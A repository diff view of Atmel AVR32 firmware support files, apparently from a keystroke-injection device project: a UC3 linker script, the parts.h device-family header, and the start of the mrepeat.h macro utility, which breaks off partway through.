OUTPUT_FORMAT("elf32-avr32", "elf32-avr32", "elf32-avr32")
|
||||
|
||||
OUTPUT_ARCH(avr32:uc)
|
||||
|
||||
ENTRY(_trampoline)
|
||||
|
||||
MEMORY
|
||||
{
|
||||
FLASH (rxai!w) : ORIGIN = 0x80000000, LENGTH = 0x00040000
|
||||
INTRAM (wxa!ri) : ORIGIN = 0x00000004, LENGTH = 0x00007FFC
|
||||
USERPAGE : ORIGIN = 0x80800000, LENGTH = 0x00000200
|
||||
}
|
||||
|
||||
PHDRS
|
||||
{
|
||||
FLASH PT_LOAD;
|
||||
INTRAM_ALIGN PT_NULL;
|
||||
INTRAM_AT_FLASH PT_LOAD;
|
||||
INTRAM PT_NULL;
|
||||
USERPAGE PT_LOAD;
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
/* If this heap size is selected, all the INTRAM space from the end of the
|
||||
data area to the beginning of the stack will be allocated for the heap. */
|
||||
__max_heap_size__ = -1;
|
||||
|
||||
/* Use a default heap size if heap size was not defined. */
|
||||
__heap_size__ = DEFINED(__heap_size__) ? __heap_size__ : __max_heap_size__;
|
||||
|
||||
/* Use a default stack size if stack size was not defined. */
|
||||
__stack_size__ = DEFINED(__stack_size__) ? __stack_size__ : 4K;
|
||||
|
||||
/* Read-only sections, merged into text segment: */
|
||||
PROVIDE (__executable_start = 0x80000000); . = 0x80000000;
|
||||
.interp : { *(.interp) } >FLASH AT>FLASH :FLASH
|
||||
.reset : { *(.reset) } >FLASH AT>FLASH :FLASH
|
||||
.hash : { *(.hash) } >FLASH AT>FLASH :FLASH
|
||||
.dynsym : { *(.dynsym) } >FLASH AT>FLASH :FLASH
|
||||
.dynstr : { *(.dynstr) } >FLASH AT>FLASH :FLASH
|
||||
.gnu.version : { *(.gnu.version) } >FLASH AT>FLASH :FLASH
|
||||
.gnu.version_d : { *(.gnu.version_d) } >FLASH AT>FLASH :FLASH
|
||||
.gnu.version_r : { *(.gnu.version_r) } >FLASH AT>FLASH :FLASH
|
||||
.rel.init : { *(.rel.init) } >FLASH AT>FLASH :FLASH
|
||||
.rela.init : { *(.rela.init) } >FLASH AT>FLASH :FLASH
|
||||
.rel.text : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH
|
||||
.rela.text : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH
|
||||
.rel.fini : { *(.rel.fini) } >FLASH AT>FLASH :FLASH
|
||||
.rela.fini : { *(.rela.fini) } >FLASH AT>FLASH :FLASH
|
||||
.rel.rodata : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH
|
||||
.rela.rodata : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH
|
||||
.rel.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH
|
||||
.rela.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH
|
||||
.rel.data : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH
|
||||
.rela.data : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH
|
||||
.rel.tdata : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH
|
||||
.rela.tdata : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH
|
||||
.rel.tbss : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH
|
||||
.rela.tbss : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH
|
||||
.rel.ctors : { *(.rel.ctors) } >FLASH AT>FLASH :FLASH
|
||||
.rela.ctors : { *(.rela.ctors) } >FLASH AT>FLASH :FLASH
|
||||
.rel.dtors : { *(.rel.dtors) } >FLASH AT>FLASH :FLASH
|
||||
.rela.dtors : { *(.rela.dtors) } >FLASH AT>FLASH :FLASH
|
||||
.rel.got : { *(.rel.got) } >FLASH AT>FLASH :FLASH
|
||||
.rela.got : { *(.rela.got) } >FLASH AT>FLASH :FLASH
|
||||
.rel.bss : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH
|
||||
.rela.bss : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH
|
||||
.rel.plt : { *(.rel.plt) } >FLASH AT>FLASH :FLASH
|
||||
.rela.plt : { *(.rela.plt) } >FLASH AT>FLASH :FLASH
|
||||
.init :
|
||||
{
|
||||
KEEP (*(.init))
|
||||
} >FLASH AT>FLASH :FLASH =0xd703d703
|
||||
.plt : { *(.plt) } >FLASH AT>FLASH :FLASH
|
||||
.text :
|
||||
{
|
||||
*(.text .stub .text.* .gnu.linkonce.t.*)
|
||||
KEEP (*(.text.*personality*))
|
||||
/* .gnu.warning sections are handled specially by elf32.em. */
|
||||
*(.gnu.warning)
|
||||
} >FLASH AT>FLASH :FLASH =0xd703d703
|
||||
.fini :
|
||||
{
|
||||
KEEP (*(.fini))
|
||||
} >FLASH AT>FLASH :FLASH =0xd703d703
|
||||
PROVIDE (__etext = .);
|
||||
PROVIDE (_etext = .);
|
||||
PROVIDE (etext = .);
|
||||
.rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH
|
||||
.rodata1 : { *(.rodata1) } >FLASH AT>FLASH :FLASH
|
||||
.eh_frame_hdr : { *(.eh_frame_hdr) } >FLASH AT>FLASH :FLASH
|
||||
.eh_frame : ONLY_IF_RO { KEEP (*(.eh_frame)) } >FLASH AT>FLASH :FLASH
|
||||
.gcc_except_table : ONLY_IF_RO { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >FLASH AT>FLASH :FLASH
|
||||
.lalign : { . = ALIGN(8); PROVIDE(_data_lma = .); } >FLASH AT>FLASH :FLASH
|
||||
. = ORIGIN(INTRAM);
|
||||
.dalign : { . = ALIGN(8); PROVIDE(_data = .); } >INTRAM AT>INTRAM :INTRAM_ALIGN
|
||||
/* Exception handling */
|
||||
.eh_frame : ONLY_IF_RW { KEEP (*(.eh_frame)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.gcc_except_table : ONLY_IF_RW { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
/* Thread Local Storage sections */
|
||||
.tdata : { *(.tdata .tdata.* .gnu.linkonce.td.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.tbss : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
/* Ensure the __preinit_array_start label is properly aligned. We
|
||||
could instead move the label definition inside the section, but
|
||||
the linker would then create the section even if it turns out to
|
||||
be empty, which isn't pretty. */
|
||||
PROVIDE (__preinit_array_start = ALIGN(32 / 8));
|
||||
.preinit_array : { KEEP (*(.preinit_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
PROVIDE (__preinit_array_end = .);
|
||||
PROVIDE (__init_array_start = .);
|
||||
.init_array : { KEEP (*(.init_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
PROVIDE (__init_array_end = .);
|
||||
PROVIDE (__fini_array_start = .);
|
||||
.fini_array : { KEEP (*(.fini_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
PROVIDE (__fini_array_end = .);
|
||||
.ctors :
|
||||
{
|
||||
/* gcc uses crtbegin.o to find the start of
|
||||
the constructors, so we make sure it is
|
||||
first. Because this is a wildcard, it
|
||||
doesn't matter if the user does not
|
||||
actually link against crtbegin.o; the
|
||||
linker won't look for a file to match a
|
||||
wildcard. The wildcard also means that it
|
||||
doesn't matter which directory crtbegin.o
|
||||
is in. */
|
||||
KEEP (*crtbegin*.o(.ctors))
|
||||
/* We don't want to include the .ctor section from
|
||||
from the crtend.o file until after the sorted ctors.
|
||||
The .ctor section from the crtend file contains the
|
||||
end of ctors marker and it must be last */
|
||||
KEEP (*(EXCLUDE_FILE (*crtend*.o ) .ctors))
|
||||
KEEP (*(SORT(.ctors.*)))
|
||||
KEEP (*(.ctors))
|
||||
} >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.dtors :
|
||||
{
|
||||
KEEP (*crtbegin*.o(.dtors))
|
||||
KEEP (*(EXCLUDE_FILE (*crtend*.o ) .dtors))
|
||||
KEEP (*(SORT(.dtors.*)))
|
||||
KEEP (*(.dtors))
|
||||
} >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.jcr : { KEEP (*(.jcr)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.data.rel.ro : { *(.data.rel.ro.local) *(.data.rel.ro*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.dynamic : { *(.dynamic) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.got : { *(.got.plt) *(.got) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.ramtext : { *(.ramtext .ramtext.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.ddalign : { . = ALIGN(8); } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.data :
|
||||
{
|
||||
*(.data .data.* .gnu.linkonce.d.*)
|
||||
KEEP (*(.gnu.linkonce.d.*personality*))
|
||||
SORT(CONSTRUCTORS)
|
||||
} >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.data1 : { *(.data1) } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
.balign : { . = ALIGN(8); PROVIDE(_edata = .); } >INTRAM AT>FLASH :INTRAM_AT_FLASH
|
||||
PROVIDE (edata = .);
|
||||
__bss_start = .;
|
||||
.bss :
|
||||
{
|
||||
*(.dynbss)
|
||||
*(.bss .bss.* .gnu.linkonce.b.*)
|
||||
*(COMMON)
|
||||
/* Align here to ensure that the .bss section occupies space up to
|
||||
_end. Align after .bss to ensure correct alignment even if the
|
||||
.bss section disappears because there are no input sections. */
|
||||
. = ALIGN(8);
|
||||
} >INTRAM AT>INTRAM :INTRAM
|
||||
. = ALIGN(8);
|
||||
_end = .;
|
||||
PROVIDE (end = .);
|
||||
__heap_start__ = ALIGN(8);
|
||||
.heap :
|
||||
{
|
||||
*(.heap)
|
||||
. = (__heap_size__ == __max_heap_size__) ?
|
||||
ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ - ABSOLUTE(.) :
|
||||
__heap_size__;
|
||||
} >INTRAM AT>INTRAM :INTRAM
|
||||
__heap_end__ = .;
|
||||
/* Stabs debugging sections. */
|
||||
.stab 0 : { *(.stab) }
|
||||
.stabstr 0 : { *(.stabstr) }
|
||||
.stab.excl 0 : { *(.stab.excl) }
|
||||
.stab.exclstr 0 : { *(.stab.exclstr) }
|
||||
.stab.index 0 : { *(.stab.index) }
|
||||
.stab.indexstr 0 : { *(.stab.indexstr) }
|
||||
.comment 0 : { *(.comment) }
|
||||
/* DWARF debug sections.
|
||||
Symbols in the DWARF debugging sections are relative to the beginning
|
||||
of the section so we begin them at 0. */
|
||||
/* DWARF 1 */
|
||||
.debug 0 : { *(.debug) }
|
||||
.line 0 : { *(.line) }
|
||||
/* GNU DWARF 1 extensions */
|
||||
.debug_srcinfo 0 : { *(.debug_srcinfo) }
|
||||
.debug_sfnames 0 : { *(.debug_sfnames) }
|
||||
/* DWARF 1.1 and DWARF 2 */
|
||||
.debug_aranges 0 : { *(.debug_aranges) }
|
||||
.debug_pubnames 0 : { *(.debug_pubnames) }
|
||||
/* DWARF 2 */
|
||||
.debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) }
|
||||
.debug_abbrev 0 : { *(.debug_abbrev) }
|
||||
.debug_line 0 : { *(.debug_line) }
|
||||
.debug_frame 0 : { *(.debug_frame) }
|
||||
.debug_str 0 : { *(.debug_str) }
|
||||
.debug_loc 0 : { *(.debug_loc) }
|
||||
.debug_macinfo 0 : { *(.debug_macinfo) }
|
||||
/* SGI/MIPS DWARF 2 extensions */
|
||||
.debug_weaknames 0 : { *(.debug_weaknames) }
|
||||
.debug_funcnames 0 : { *(.debug_funcnames) }
|
||||
.debug_typenames 0 : { *(.debug_typenames) }
|
||||
.debug_varnames 0 : { *(.debug_varnames) }
|
||||
.stack ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ :
|
||||
{
|
||||
_stack = .;
|
||||
*(.stack)
|
||||
. = __stack_size__;
|
||||
_estack = .;
|
||||
} >INTRAM AT>INTRAM :INTRAM
|
||||
.userpage : { *(.userpage .userpage.*) } >USERPAGE AT>USERPAGE :USERPAGE
|
||||
/DISCARD/ : { *(.note.GNU-stack) }
|
||||
}
|
243
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/parts.h
Executable file
243
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/parts.h
Executable file
|
@ -0,0 +1,243 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Arch file for AVR32.
|
||||
*
|
||||
* This file defines common AVR32 UC3 series.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _ARCH_H_
|
||||
#define _ARCH_H_
|
||||
|
||||
// UC3 A Series
|
||||
#define UC3A0 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3A0128__) || \
|
||||
defined (__AVR32_UC3A0256__) || \
|
||||
defined (__AVR32_UC3A0512__) || \
|
||||
defined (__AVR32_UC3A0512ES__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3A0128__) || \
|
||||
defined (__AT32UC3A0256__) || \
|
||||
defined (__AT32UC3A0512__) || \
|
||||
defined (__AT32UC3A0512ES__))))
|
||||
|
||||
#define UC3A1 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3A1128__) || \
|
||||
defined (__AVR32_UC3A1256__) || \
|
||||
defined (__AVR32_UC3A1512__) || \
|
||||
defined (__AVR32_UC3A1512ES__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3A1128__) || \
|
||||
defined (__AT32UC3A1256__) || \
|
||||
defined (__AT32UC3A1512__) || \
|
||||
defined (__AT32UC3A1512ES__))))
|
||||
|
||||
#define UC3A3 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3A364__) || \
|
||||
defined (__AVR32_UC3A364S__) || \
|
||||
defined (__AVR32_UC3A3128__) || \
|
||||
defined (__AVR32_UC3A3128S__) || \
|
||||
defined (__AVR32_UC3A3256__) || \
|
||||
defined (__AVR32_UC3A3256S__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3A364__) || \
|
||||
defined (__AT32UC3A364S__) || \
|
||||
defined (__AT32UC3A3128__) || \
|
||||
defined (__AT32UC3A3128S__) || \
|
||||
defined (__AT32UC3A3256__) || \
|
||||
defined (__AT32UC3A3256S__))))
|
||||
|
||||
#define UC3A4 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3A464__) || \
|
||||
defined (__AVR32_UC3A464S__) || \
|
||||
defined (__AVR32_UC3A4128__) || \
|
||||
defined (__AVR32_UC3A4128S__) || \
|
||||
defined (__AVR32_UC3A4256__) || \
|
||||
defined (__AVR32_UC3A4256S__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3A464__) || \
|
||||
defined (__AT32UC3A464S__) || \
|
||||
defined (__AT32UC3A4128__) || \
|
||||
defined (__AT32UC3A4128S__) || \
|
||||
defined (__AT32UC3A4256__) || \
|
||||
defined (__AT32UC3A4256S__))))
|
||||
|
||||
#define UC3A (UC3A0 || UC3A1 || UC3A3 || UC3A4)
|
||||
|
||||
// UC3 B Series
|
||||
#define UC3B0 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3B064__) || \
|
||||
defined (__AVR32_UC3B0128__) || \
|
||||
defined (__AVR32_UC3B0256__) || \
|
||||
defined (__AVR32_UC3B0256ES__) || \
|
||||
defined (__AVR32_UC3B0512__) || \
|
||||
defined (__AVR32_UC3B0512REVC_))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3B064__) || \
|
||||
defined (__AT32UC3B0128__) || \
|
||||
defined (__AT32UC3B0256__) || \
|
||||
defined (__AT32UC3B0256ES__) || \
|
||||
defined (__AT32UC3B0512__) || \
|
||||
defined (__AT32UC3B0512REVC__))))
|
||||
|
||||
#define UC3B1 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3B164__) || \
|
||||
defined (__AVR32_UC3B1128__) || \
|
||||
defined (__AVR32_UC3B1256__) || \
|
||||
defined (__AVR32_UC3B1256ES__) || \
|
||||
defined (__AVR32_UC3B1512__) || \
|
||||
defined (__AVR32_UC3B1512ES__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3B164__) || \
|
||||
defined (__AT32UC3B1128__) || \
|
||||
defined (__AT32UC3B1256__) || \
|
||||
defined (__AT32UC3B1256ES__) || \
|
||||
defined (__AT32UC3B1512__) || \
|
||||
defined (__AT32UC3B1512REVC__))))
|
||||
|
||||
#define UC3B (UC3B0 || UC3B1 )
|
||||
|
||||
// UC3 C Series
|
||||
#define UC3C0_REVC (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3C064CREVC__) || \
|
||||
defined (__AVR32_UC3C0128CREVC__) || \
|
||||
defined (__AVR32_UC3C0256CREVC__) || \
|
||||
defined (__AVR32_UC3C0512CREVC__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3C064CREVC__) || \
|
||||
defined (__AT32UC3C0128CREVC__) || \
|
||||
defined (__AT32UC3C0256CREVC__) || \
|
||||
defined (__AT32UC3C0512CREVC__))))
|
||||
|
||||
#define UC3C0 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3C064C__) || \
|
||||
defined (__AVR32_UC3C0128C__) || \
|
||||
defined (__AVR32_UC3C0256C__) || \
|
||||
defined (__AVR32_UC3C0512C__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3C064C__) || \
|
||||
defined (__AT32UC3C0128C__) || \
|
||||
defined (__AT32UC3C0256C__) || \
|
||||
defined (__AT32UC3C0512C__))))
|
||||
|
||||
#define UC3C1_REVC (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3C164CREVC__) || \
|
||||
defined (__AVR32_UC3C1128CREVC__) || \
|
||||
defined (__AVR32_UC3C1256CREVC__) || \
|
||||
defined (__AVR32_UC3C1512CREVC__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3C164CREVC__) || \
|
||||
defined (__AT32UC3C1128CREVC__) || \
|
||||
defined (__AT32UC3C1256CREVC__) || \
|
||||
defined (__AT32UC3C1512CREVC__))))
|
||||
|
||||
#define UC3C1 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3C164C__) || \
|
||||
defined (__AVR32_UC3C1128C__) || \
|
||||
defined (__AVR32_UC3C1256C__) || \
|
||||
defined (__AVR32_UC3C1512C__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3C164C__) || \
|
||||
defined (__AT32UC3C1128C__) || \
|
||||
defined (__AT32UC3C1256C__) || \
|
||||
defined (__AT32UC3C1512C__))))
|
||||
|
||||
#define UC3C2_REVC (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3C264CREVC__) || \
|
||||
defined (__AVR32_UC3C2128CREVC__) || \
|
||||
defined (__AVR32_UC3C2256CREVC__) || \
|
||||
defined (__AVR32_UC3C2512CREVC__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3C264CREVC__) || \
|
||||
defined (__AT32UC3C2128CREVC__) || \
|
||||
defined (__AT32UC3C2256CREVC__) || \
|
||||
defined (__AT32UC3C2512CREVC__))))
|
||||
|
||||
#define UC3C2 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3C264C__) || \
|
||||
defined (__AVR32_UC3C2128C__) || \
|
||||
defined (__AVR32_UC3C2256C__) || \
|
||||
defined (__AVR32_UC3C2512C__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3C264C__) || \
|
||||
defined (__AT32UC3C2128C__) || \
|
||||
defined (__AT32UC3C2256C__) || \
|
||||
defined (__AT32UC3C2512C__))))
|
||||
|
||||
#define UC3C_REVC (UC3C0_REVC || UC3C1_REVC || UC3C2_REVC)
|
||||
#define UC3C (UC3C0 || UC3C0_REVC || UC3C1 || UC3C1_REVC || UC3C2 || UC3C2_REVC)
|
||||
|
||||
// UC3 L Device series
|
||||
#define UC3L0 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC3L016__) || \
|
||||
defined (__AVR32_UC3L032__) || \
|
||||
defined (__AVR32_UC3L064__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__AT32UC3L016__) || \
|
||||
defined (__AT32UC3L032__) || \
|
||||
defined (__AT32UC3L064__))))
|
||||
|
||||
#define UC3L (UC3L0)
|
||||
|
||||
// UC3 D Device series
|
||||
#define UC3D3 (( defined (__GNUC__) && \
|
||||
( defined (__AVR32_UC128D3__) || \
|
||||
defined (__AVR32_UC64D3__))) \
|
||||
||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \
|
||||
( defined (__ATUC128D3__) || \
|
||||
defined (__ATUC64D3__) )))
|
||||
|
||||
#define UC3D (UC3D3)
|
||||
|
||||
#if (UC3D)
|
||||
#include "header_files/uc3d_defines_fix.h"
|
||||
#endif
|
||||
|
||||
#define UC3 (UC3A || UC3B || UC3C || UC3D || UC3L)
|
||||
|
||||
#if ((defined __GNUC__) && (defined __AVR32__)) || (defined __ICCAVR32__ || defined __AAVR32__)
|
||||
# if (UC3)
|
||||
# include <avr32/io.h>
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#endif // _ARCH_H_
|
|
@ -0,0 +1,326 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Preprocessor macro repeating utils.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices can be used.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _MREPEAT_H_
|
||||
#define _MREPEAT_H_
|
||||
|
||||
#include "preprocessor.h"
|
||||
|
||||
|
||||
//! Maximal number of repetitions supported by MREPEAT.
|
||||
#define MREPEAT_LIMIT 256
|
||||
|
||||
/*! \brief Macro repeat.
|
||||
*
|
||||
* This macro represents a horizontal repetition construct.
|
||||
*
|
||||
* \param count The number of repetitious calls to macro. Valid values range from 0 to MREPEAT_LIMIT.
|
||||
* \param macro A binary operation of the form macro(n, data). This macro is expanded by MREPEAT with
|
||||
* the current repetition number and the auxiliary data argument.
|
||||
* \param data Auxiliary data passed to macro.
|
||||
*
|
||||
* \return <tt>macro(0, data) macro(1, data) ... macro(count - 1, data)</tt>
|
||||
*/
|
||||
#define MREPEAT(count, macro, data) TPASTE2(MREPEAT, count)(macro, data)
|
||||
|
||||
#define MREPEAT0( macro, data)
|
||||
#define MREPEAT1( macro, data) MREPEAT0( macro, data) macro( 0, data)
|
||||
#define MREPEAT2( macro, data) MREPEAT1( macro, data) macro( 1, data)
|
||||
#define MREPEAT3( macro, data) MREPEAT2( macro, data) macro( 2, data)
|
||||
#define MREPEAT4( macro, data) MREPEAT3( macro, data) macro( 3, data)
|
||||
#define MREPEAT5( macro, data) MREPEAT4( macro, data) macro( 4, data)
|
||||
#define MREPEAT6( macro, data) MREPEAT5( macro, data) macro( 5, data)
|
||||
#define MREPEAT7( macro, data) MREPEAT6( macro, data) macro( 6, data)
|
||||
#define MREPEAT8( macro, data) MREPEAT7( macro, data) macro( 7, data)
|
||||
#define MREPEAT9( macro, data) MREPEAT8( macro, data) macro( 8, data)
|
||||
#define MREPEAT10( macro, data) MREPEAT9( macro, data) macro( 9, data)
|
||||
#define MREPEAT11( macro, data) MREPEAT10( macro, data) macro( 10, data)
|
||||
#define MREPEAT12( macro, data) MREPEAT11( macro, data) macro( 11, data)
|
||||
#define MREPEAT13( macro, data) MREPEAT12( macro, data) macro( 12, data)
|
||||
#define MREPEAT14( macro, data) MREPEAT13( macro, data) macro( 13, data)
|
||||
#define MREPEAT15( macro, data) MREPEAT14( macro, data) macro( 14, data)
|
||||
#define MREPEAT16( macro, data) MREPEAT15( macro, data) macro( 15, data)
|
||||
#define MREPEAT17( macro, data) MREPEAT16( macro, data) macro( 16, data)
|
||||
#define MREPEAT18( macro, data) MREPEAT17( macro, data) macro( 17, data)
|
||||
#define MREPEAT19( macro, data) MREPEAT18( macro, data) macro( 18, data)
|
||||
